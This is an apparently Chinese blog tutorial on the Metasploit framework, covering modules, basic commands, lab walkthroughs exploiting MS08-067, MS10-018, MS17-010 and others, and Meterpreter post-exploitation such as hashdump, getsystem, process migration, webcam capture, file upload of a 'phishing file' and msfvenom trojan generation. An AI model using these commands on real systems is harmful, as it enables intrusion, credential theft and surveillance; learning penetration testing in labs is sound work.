后渗透工具 metasploit 的具体使用和介绍简洁实用版

#王者杯·14天创作挑战营·第5期#

01 初始MSF

简介

Metasploit 就是一个漏洞框架. 它的全称叫做 The Metasploit Framework ,简称MSF.是一个免费,可下载的框架 ,通过它可以很容易地获取,开发并对内外网漏洞实施攻击.其本身携带数2000多个已知漏洞的专业级别漏洞工具.

如何进入MSF

打开kali 其内部自带MSF 使用如下命令进行更新

apt-get install metasploit-framework

然后输入 msfconsole 进入该工具

如果在上方执行更新命令出错 可以去看我的另一篇博客,希望对你有所帮助

注意: 每次进入MSF时图片都是不一样的,所以不用纠结对错

术语普及

进入MSF后 会出现如下图示
在这里插入图片描述
其中方框内数字对应模块含义如下:

  • exploits : 攻击模块
  • auxiliary : 信息扫描模块/辅助模块
  • post : 后渗透模块
  • payload : 攻击载荷
  • encoders : 编码模块
  1. 渗透攻击(Exploit)
    渗透攻击是指由攻击者或者渗透测试者利用系统、应用或服务中的安全漏洞,所进行的攻击行为。
    流行的攻击技术包括:缓冲区溢出、Web应用程序漏洞攻击,以及利用配置错误等。

  2. 攻击载荷(Payload)
    攻击载何是我们期望目标系统在被渗透攻击后而执行的代码。在MSF框架中可以自由的选择、传送和植入。比如,反弹式shell是一种从目标主机到攻击主机创建网络连接,并提供命令行shell的攻击载荷。bind shell攻击载荷则在目标主机上将命令行shell绑定到一个打开的监听端口,攻击者可以连接这些端口来取得shell交互。

  3. 溢出代码(Shellcode)
    shellcode是在渗透攻击时作为攻击载荷运行的一组机器指令。shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令后,才会提供一个命令行shell或者Meterpreter shell,这也是shellcode名称的由来。

  4. 模块(Module)
    在MSF中,一个模块是指MSF框架中所使用的一段软件代码组件。在某些时候,你可能会使用一个渗透攻击模块(Exploit module),也就是用于实际发起渗透攻击的软件组件。而在其它时候,则可能使用一个辅助模块(auxiliary module),用来扫描一些诸如扫描或系统查点的攻击动作。

  5. 监听器(Listener)
    监听器是MSF中用来等待连入网络连接的组件。举例来说,在目标主机被渗透攻击之后,它可能会通过互联网回连到攻击主机上,而监听器组件在攻击主机上等待被渗透攻击的系统来连接,并负责处理这些网络连接。

02目录结构

在这里插入图片描述

Rex

Rex 是 Metasploit 框架中的一个核心库,提供了许多底层功能和工具,用于处理各种网络协议、编码、加密等操作,为上层的MSF CORE等组件提供基础支持,简化了渗透测试工具开发过程中对底层网络和系统交互的处理。

PLUGINS

PLUGINS即插件,插件可以扩展 Metasploit 框架的功能,通过与MSF BASE等部分交互,为框架添加额外的特性和能力,满足不同用户的特定需求

其他不必过多了解

03 MSF基本命令

? 显示帮助菜单

命令功能
?显示帮助菜单
search搜索对应的目录结构
use进入某模块 比如 use exploit/windows/ftp/xlink_client
back退出模块 注意:在模块里面也可以使用search命令
info显示漏洞详细信息 比如: info exploit/unix/webapp/thinkphp_rce 可查看漏洞版本
showshow options 显示使用模块需要进行的配置选项
配置中名词Proxies 代理 , RHOSTS 目标地址
payloads (Linux/x64/metasploit_reverse_up)这里指开监听的方式 正向为靶场开监听并发shell文件 攻击主机连接 ( bind) 反向就是攻击主机开监听,靶机 连接并发shell文件 reverse
set设置变量 比如 set lport 6666
setg设置全局变量 除非关闭重新启动 否则RHOST会保留
run直接运行脚本
unset unsetg解除变量设置 后者为解除全局变量

set payload 时双击两次table键可以看见可用的匹配的payload
比如set payload /windows/xss/ 后面不知道 即可双击table 键来查询

  1. exploits模块
    命名规则: 系统/服务/名称 例如 : windows/smb/ms08_067_netapi
    RHOST: 目标主机IP地址
    RPORT: 目标主机连接端口
    Payload: 有效的载荷,成功后返回shell
    LHOST : 攻击者的IP地址
    LPORT: 攻击者的端口

  2. Payloads模块
    是在使用一个模块之后再去使用的
    命名规则: 系统/类型/名称
    例如:Windows/dllinject/reverse_up
    类型命名规则:
    shell : 上传一个shell
    dllinject : 注入一个dll到进程
    patchup*** : 修补漏洞
    upexec : 上传并执行一个文件
    meterpreter: 高级的payload
    vncinject : 高级的payload
    passive : 高级的payload

  3. 名称命名规则:
    shell_find_tag: 在一个已建立的连接上以创建一个shell
    shell_reverse_tcp : 反向连接到攻击者主机并创建一个shell
    bind_tcp: 监听一个tcp连接
    reverse_tcp: 反向建立tcp连接
    add_user : 创建一个新用户并添加到管理组
    xxx_ipv6_tcp: 基于IPV6
    XXX_nonx_tcp: no execute或者win7
    xxx_ord_tcp: 有序payload
    xxx_tcp_allports:在所有可能的端口

04 实例演示

MS08-067(使用该漏洞 渗透 windowsxp 系统)

首先 msfconcole 进入msf 

然后使用 search 命令进行搜索

在这里插入图片描述

选择对应的漏洞  使用 use 命令进入

在这里插入图片描述

进入后 使用  show options  命令进行查看选项配置   required  对应参数为 yes  表明该项需要必须进行配置

使用 set 命令对所需项进行配置  根据术语可知 Rhost 指的是目标地址

在这里插入图片描述

使用 run 命令进行脚本运行 

在这里插入图片描述

由上图 当出现 meterpreter> 这样的字符 说明成功渗透并获取权限
使用 ipconfig  命令 即可查看目标机器的网络配置
这里要注意的是 该终端属于后渗透终端  与Windows上面的 cmd 不是一个东西  在该终端上可以通过输入 ? 来查询执行指令
简单普及几个指令 
getuid  :  查看当前会话所属用户
getsystem  :  提升会话权限到 System
hashdump :  获取目标主机的密码 以哈希形式

在这里插入图片描述

 如果对该终端不熟悉的 可以使用 shell 指令 来进入 cmd 终端

在这里插入图片描述
如此 第一个漏洞就成功实现权限的拿取

MS10-018

还是同样的步骤 首先使用 search 命令搜索对应的漏洞编号 根据结果进入需求的漏洞模块中

在这里插入图片描述

随后使用 info 命令查看漏洞具体信息 发现 该漏洞是一个IE 浏览器的漏洞

使用 show options 命令进行配置查看 

在这里插入图片描述

注意: 当存在 SRVHOST 这个配置选项时 表明要配置攻击主机的地址

使用 run 命令 出现如下图所示

在这里插入图片描述

 在 目标主机 IE 浏览器 上输入该 URL 回车发现 无法回显 或者没有拿取成功
 此时 可以将 payload 换为 windows/meterpreter/bind_tcp  即目标主机不连接我们 我们去连接它  
 show options  输入目标主机地址  
 使用 run 命令
 此时发现还是 无法回显  切换端口为80  发现成功回显

在这里插入图片描述

可以去看图片 , 什么情况下就表明会话创建成功 , 拿取了权限

此时 发现 上图中提到了 成功创建了 session 我们可以使用 sessions 指令来查看后台的session 会话
使用 sessions -i 编号 即可进入指定的会话

在这里插入图片描述

当我们需要进行其他操作 并且还想保留 该会话时 使用 backgroud 指令 来保留  使用 exit 指令会完全退出 不保留会话

MS15 - 034

 这个漏洞言简意赅 是要告诉读者 不是MSF 所有的模块都是获取会话 权限的 比如该脚本 scanner/http/ms15_034_http_sys_memory_dump 
 他只要一 ping 目标主机就会蓝屏  而不是获取权限

 具体复现过程可以自己去尝试  如果发生错误 可以尝试ping 一下目标主机 如果不能ping 通 肯定无法成功实现

MS17-010

同样的步骤 search 找到脚本  use 进入脚本  show options 来查看所需配置  

在这里插入图片描述

set 设置 RHOSTS 为目标主机 IP   , run 指令运行脚本

在这里插入图片描述

 出现上图现象 表明存在端口占用 set lport 端口号 修改即可 成功获取权限

CVE-2020-0796

这里由于 MSF 上面的脚本无法打击成功,所以 在网上重新找了一个脚本来尝试 具体可以自己查询 下面是我在复现时候的一些收获和注意点,分享给大家
  1. 当某框架脚本无法成功拿取权限时 , 可以尝试更换端口和连接的方式 比如正向换反向
  2. 批量替换脚本 vim 中 %s/bug/USER+pau/g 这句命令的意思时全局替换bug 为 USER+pau
    • [%]: 表示替换范围为全部语句 *
    • [s]: 是 substitute(替换)命令的标识,用于启动替换功能。
    • [g] : 是全局(global)替换的标志,作用是在同一行内如果多次出现目标字符串 “bug”,会全部替换(如果不加 g,默认只替换每行的第一个匹配项)。
  3. exploit/multi/handler 脚本为MSF 中的监听脚本
  4. 一定要注意木马与监听 所使用payload 的一致性 要正向都用正向 反之也一样

05 (auxiliary)辅助模块

简单的信息收集操作

1.whois 可直接在 MSF 使用 比如 whois 114.114.114.114 结果如下图所示:
在这里插入图片描述

  1. 也可以用来搜索邮箱, DNS 解析记录 还自带 Nmap 使用的命令和外部的大差不差,

  2. 也可以进行端口扫描,输入posrscan 关键字进行搜索

  3. 也可以进行 ssh 或者 MySQL服务的爆破 这里以 ssh 做演示

    首先搜索关键词 ssh_login  然后选择对应脚本 输入用户名和密码 或者 相对应的字典来进行爆破
    下面图片中显示了所需要配置的选项 以及成功后的显示特征字符 它会将成功后的会话放在后台
    通过sessions 命令来查看  
    

在这里插入图片描述

上传文件 (在获取会话之后)

 假设我们有一个钓鱼文件 想要上传到目标机器 使用命令如下
 upload /root/cc.txt  C:/  将攻击机上的文件 上传到C盘
 当想要上传文件夹时 加 -r 参数即可

如下图所示: 文件成功上传

在这里插入图片描述

下载文件(在获取会话之后)

 1. 首先使用 shell 命令进入 cmd 
 2. 使用dir 来查看 所处位置
 3. 使用 cd 命令来查找并移动到目标文件所在处进行下载
 download "目标主机文件路径/名称"  "攻击机路径"    

执行文件 (在获取会话之后)

直接给出命令如下

execute -f "执行文件路径"
execute -f  cmd  -c  "whoami"
这里 f 指 file 即文件   -c 指 command 即命令

进程迁移(注入) (在获取会话之后)

在上方执行文件时 我们会发现有时会执行失败 这里与进程相关的一种可能就是会话所处的用户和实际目标机器的用户不同 因为不同用户在同一个电脑上 桌面是不同的 所以会出现错误 , 那么如何解决呢

 1.首先使用 getuid 命令查看所处会话用户 
 2.使用 ps 命令查看进程 找到与现在用户不同的进程
 3.使用 migrate 对应进程编号  来进入  再次执行 getuid 指令 即可改变用户
 4. 要注意 该种方法只能用于你获取的用户比目标机器现在的用户权限高的情况 如果权限低将无法进行迁移

远程控制 (在获取会话之后)

使用 run vnc 命令即可打开远程桌面的图片 但是只能看 不能操作 

如果想要 进行操作   vi  /usr/share/metasploit-framework/modules/post/multi/manage 
将图片中的 蓝色注释符删掉 即可进行操作

在这里插入图片描述

端口流量转发(在获取会话之后)

 解决问题:  靶机在3389端口开放一个服务,但是因为网络策略限制无法进行连接 ,此时可以将本地的6666端口
		与其进行端口流量转发的绑定 这样 访问本地的6666  就相当与访问靶机的3389端口 可能可以绕过端口的防护策略

在这里插入图片描述

  portfwd add -l 3389 -p 6666 -r 156.135.556.165
  -l为 -locate   -r 为 --remote
  如果要删除 执行指令时将 add 换为 delete 即可

搜索文件(在获取会话之后)

search *.txt   搜索所有txt后缀的文件

补充 : 在 meterpreter > run post/windows/manag/enable_rdp 可以直接打开远程桌面
run post/windows/manag/webcam 查看摄像头 是通过一张一张图片来看

木马生成 (详情参考msfvenom 基本使用.pdf)

 工具: msfvenom   

这里就通过一个例子来演示 简单生成木马并进行使用的总流程

  1. 通过 msfvenom 来生成木马并存放 在这里插入图片描述
    如图: msfvenom -p 脚本 LHOST= 攻击机IP` LPORT=攻击机端口 -f > 攻击机路径

  2. 然后在目标机器上面对该网站进行访问 木马就会成功下载

  3. 在攻击机上创建一个监听 要求payload 以及端口等都必须与木马创建时保持一致即可

  4. 这样就可以通过木马拿到权限会话了

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值